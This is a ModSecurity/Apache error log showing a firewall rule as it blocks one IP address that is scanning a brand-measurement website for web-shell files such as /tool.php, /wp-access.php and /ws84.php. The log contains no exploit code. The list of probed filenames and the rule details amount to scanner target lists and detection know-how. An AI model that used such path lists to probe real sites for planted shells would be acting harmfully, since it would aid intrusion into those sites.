[Fri Mar 27 04:12:09.919498 2026] [:error] [pid 27750:tid 27827] [client 52.138.251.91:60523] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acWTGYaSil5rd17ieLwXIAAAAIk"]
[Fri Mar 27 04:12:10.581678 2026] [:error] [pid 27749:tid 27805] [client 52.138.251.91:60103] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acWTGsEqyoMni2Q6_X5C3wAAAE4"]
[Fri Mar 27 04:12:11.412314 2026] [:error] [pid 27750:tid 27838] [client 52.138.251.91:44630] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/t.php"] [unique_id "acWTG4aSil5rd17ieLwXIwAAAJQ"]
[Fri Mar 27 04:12:12.255617 2026] [:error] [pid 27851:tid 27868] [client 52.138.251.91:32813] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/t.php"] [unique_id "acWTHHR2ccxe3RMCLbrlxQAAAMo"]
[Fri Mar 27 04:12:13.156085 2026] [:error] [pid 27750:tid 27828] [client 52.138.251.91:60502] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/t.php"] [unique_id "acWTHYaSil5rd17ieLwXKAAAAIo"]
[Fri Mar 27 04:12:13.846750 2026] [:error] [pid 27749:tid 27798] [client 52.138.251.91:50406] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/t.php"] [unique_id "acWTHcEqyoMni2Q6_X5C7QAAAEc"]
[Fri Mar 27 04:12:15.130479 2026] [:error] [pid 27749:tid 27797] [client 52.138.251.91:59331] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acWTH8EqyoMni2Q6_X5C7wAAAEY"]
[Fri Mar 27 04:12:16.041524 2026] [:error] [pid 27851:tid 27869] [client 52.138.251.91:48218] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acWTIHR2ccxe3RMCLbrl0gAAAMs"]
[Fri Mar 27 04:12:16.740485 2026] [:error] [pid 27743:tid 27774] [client 52.138.251.91:32795] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acWTICA46UYYLqzw99DnTwAAAAo"]
[Fri Mar 27 04:12:17.473611 2026] [:error] [pid 27749:tid 27813] [client 52.138.251.91:33501] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acWTIcEqyoMni2Q6_X5C8gAAAFY"]
[Fri Mar 27 04:12:18.661276 2026] [:error] [pid 27743:tid 27786] [client 52.138.251.91:38580] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "acWTIiA46UYYLqzw99DnWAAAABY"]
[Fri Mar 27 04:12:19.506278 2026] [:error] [pid 27743:tid 27767] [client 52.138.251.91:50712] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "acWTIyA46UYYLqzw99DnXQAAAAM"]
[Fri Mar 27 04:12:20.746533 2026] [:error] [pid 27851:tid 27870] [client 52.138.251.91:47934] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "acWTJHR2ccxe3RMCLbrl2gAAAMw"]
[Fri Mar 27 04:12:24.317215 2026] [:error] [pid 27851:tid 27865] [client 52.138.251.91:47930] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/166.php"] [unique_id "acWTKHR2ccxe3RMCLbrl4wAAAMc"]
[Fri Mar 27 04:12:26.359851 2026] [:error] [pid 27749:tid 27792] [client 52.138.251.91:38536] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acWTKsEqyoMni2Q6_X5C_wAAAEE"]
[Fri Mar 27 04:12:27.045941 2026] [:error] [pid 27851:tid 27861] [client 52.138.251.91:44612] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acWTK3R2ccxe3RMCLbrl7AAAAMM"]
[Fri Mar 27 04:12:28.013962 2026] [:error] [pid 27749:tid 27814] [client 52.138.251.91:43224] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acWTLMEqyoMni2Q6_X5DAQAAAFc"]
[Fri Mar 27 04:12:28.623662 2026] [:error] [pid 27749:tid 27809] [client 52.138.251.91:44276] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "acWTLMEqyoMni2Q6_X5DAgAAAFI"]
[Fri Mar 27 04:12:29.252213 2026] [:error] [pid 27851:tid 27880] [client 52.138.251.91:56506] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "acWTLXR2ccxe3RMCLbrl7wAAANY"]
[Fri Mar 27 04:12:30.150333 2026] [:error] [pid 27749:tid 27813] [client 52.138.251.91:54659] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "acWTLsEqyoMni2Q6_X5DCQAAAFY"]
[Fri Mar 27 04:12:30.949955 2026] [:error] [pid 27749:tid 27804] [client 52.138.251.91:35021] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "acWTLsEqyoMni2Q6_X5DCwAAAE0"]
[Fri Mar 27 04:12:31.712278 2026] [:error] [pid 27749:tid 27795] [client 52.138.251.91:43258] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "acWTL8EqyoMni2Q6_X5DDQAAAEQ"]
[Fri Mar 27 04:12:32.243611 2026] [:error] [pid 27749:tid 27806] [client 52.138.251.91:48408] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "acWTMMEqyoMni2Q6_X5DEAAAAE8"]
[Fri Mar 27 04:12:32.854691 2026] [:error] [pid 27749:tid 27797] [client 52.138.251.91:48441] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "acWTMMEqyoMni2Q6_X5DEwAAAEY"]
[Fri Mar 27 04:12:33.448523 2026] [:error] [pid 27749:tid 27791] [client 52.138.251.91:34149] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "acWTMcEqyoMni2Q6_X5DGgAAAEA"]
[Fri Mar 27 04:12:33.961054 2026] [:error] [pid 27851:tid 27858] [client 52.138.251.91:52894] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "acWTMXR2ccxe3RMCLbrl9QAAAMA"]
[Fri Mar 27 04:12:34.714163 2026] [:error] [pid 27749:tid 27799] [client 52.138.251.91:55700] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "acWTMsEqyoMni2Q6_X5DHAAAAEg"]
[Fri Mar 27 04:12:35.342986 2026] [:error] [pid 27851:tid 27879] [client 52.138.251.91:4471] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "acWTM3R2ccxe3RMCLbrl-wAAANU"]
[Fri Mar 27 04:12:36.050059 2026] [:error] [pid 27851:tid 27870] [client 52.138.251.91:56165] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "acWTNHR2ccxe3RMCLbrl_AAAAMw"]
[Fri Mar 27 04:12:36.606248 2026] [:error] [pid 27743:tid 27776] [client 52.138.251.91:34125] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "acWTNCA46UYYLqzw99DngQAAAAw"]
[Fri Mar 27 04:12:37.128213 2026] [:error] [pid 27750:tid 27820] [client 52.138.251.91:55703] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "acWTNYaSil5rd17ieLwXQwAAAII"]
[Fri Mar 27 04:12:37.686798 2026] [:error] [pid 27750:tid 27823] [client 52.138.251.91:48180] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "acWTNYaSil5rd17ieLwXRwAAAIU"]
[Fri Mar 27 04:12:38.457539 2026] [:error] [pid 27750:tid 27824] [client 52.138.251.91:42781] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "acWTNoaSil5rd17ieLwXTQAAAIY"]
[Fri Mar 27 04:12:38.989619 2026] [:error] [pid 27851:tid 27874] [client 52.138.251.91:52991] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/vx.php"] [unique_id "acWTNnR2ccxe3RMCLbrmAgAAANA"]
[Fri Mar 27 04:12:39.506264 2026] [:error] [pid 27851:tid 27879] [client 52.138.251.91:4408] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "acWTN3R2ccxe3RMCLbrmBAAAANU"]
[Fri Mar 27 04:12:40.102338 2026] [:error] [pid 27851:tid 27876] [client 52.138.251.91:34059] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "acWTOHR2ccxe3RMCLbrmCAAAANI"]
[Fri Mar 27 04:12:40.701637 2026] [:error] [pid 27851:tid 27877] [client 52.138.251.91:39626] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "acWTOHR2ccxe3RMCLbrmCgAAANM"]
[Fri Mar 27 04:12:41.323752 2026] [:error] [pid 27851:tid 27872] [client 52.138.251.91:4361] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "acWTOXR2ccxe3RMCLbrmDAAAAM4"]
[Fri Mar 27 04:12:41.858620 2026] [:error] [pid 27851:tid 27879] [client 52.138.251.91:43071] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "acWTOXR2ccxe3RMCLbrmDwAAANU"]
[Fri Mar 27 04:12:42.378692 2026] [:error] [pid 27743:tid 27780] [client 52.138.251.91:43047] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "acWTOiA46UYYLqzw99DnjQAAABA"]
[Fri Mar 27 04:12:42.933450 2026] [:error] [pid 27750:tid 27818] [client 52.138.251.91:40096] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "acWTOoaSil5rd17ieLwXWwAAAIA"]
[Fri Mar 27 04:12:43.448706 2026] [:error] [pid 27851:tid 27858] [client 52.138.251.91:39442] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "acWTO3R2ccxe3RMCLbrmFQAAAMA"]
[Fri Mar 27 04:12:44.011816 2026] [:error] [pid 27851:tid 27880] [client 52.138.251.91:40087] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/155.php"] [unique_id "acWTPHR2ccxe3RMCLbrmGAAAANY"]
[Fri Mar 27 04:12:44.581504 2026] [:error] [pid 27851:tid 27862] [client 52.138.251.91:4487] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/155.php"] [unique_id "acWTPHR2ccxe3RMCLbrmGgAAAMQ"]
[Fri Mar 27 04:12:45.243163 2026] [:error] [pid 27851:tid 27861] [client 52.138.251.91:46929] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/155.php"] [unique_id "acWTPXR2ccxe3RMCLbrmHAAAAMM"]
[Fri Mar 27 04:12:45.865009 2026] [:error] [pid 27851:tid 27873] [client 52.138.251.91:62107] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/155.php"] [unique_id "acWTPXR2ccxe3RMCLbrmIAAAAM8"]
[Fri Mar 27 04:12:47.354021 2026] [:error] [pid 27743:tid 27777] [client 52.138.251.91:63564] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "acWTPyA46UYYLqzw99DnmQAAAA0"]
[Fri Mar 27 04:12:48.169418 2026] [:error] [pid 27743:tid 27778] [client 52.138.251.91:59786] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "acWTQCA46UYYLqzw99DnngAAAA4"]
[Fri Mar 27 04:12:49.006415 2026] [:error] [pid 27749:tid 27798] [client 52.138.251.91:52553] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "acWTQcEqyoMni2Q6_X5DJAAAAEc"]
[Fri Mar 27 04:12:50.072161 2026] [:error] [pid 27743:tid 27772] [client 52.138.251.91:39159] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "acWTQiA46UYYLqzw99DnpgAAAAg"]
[Fri Mar 27 04:12:51.363586 2026] [:error] [pid 27750:tid 27826] [client 52.138.251.91:62644] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tfm.php"] [unique_id "acWTQ4aSil5rd17ieLwXbgAAAIg"]
[Fri Mar 27 04:13:38.995296 2026] [:error] [pid 27851:tid 27874] [client 52.138.251.91:37939] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "acWTcnR2ccxe3RMCLbrm2gAAANA"]
[Fri Mar 27 04:13:42.671462 2026] [:error] [pid 27749:tid 27798] [client 52.138.251.91:38552] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "acWTdsEqyoMni2Q6_X5DcwAAAEc"]
[Fri Mar 27 04:13:43.811212 2026] [:error] [pid 27851:tid 27875] [client 52.138.251.91:35623] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "acWTd3R2ccxe3RMCLbrm5wAAANE"]
[Fri Mar 27 04:13:46.632533 2026] [:error] [pid 27743:tid 27777] [client 52.138.251.91:61736] [client 52.138.251.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws84.php"] [unique_id "acWTeiA46UYYLqzw99Dn-wAAAA0"]
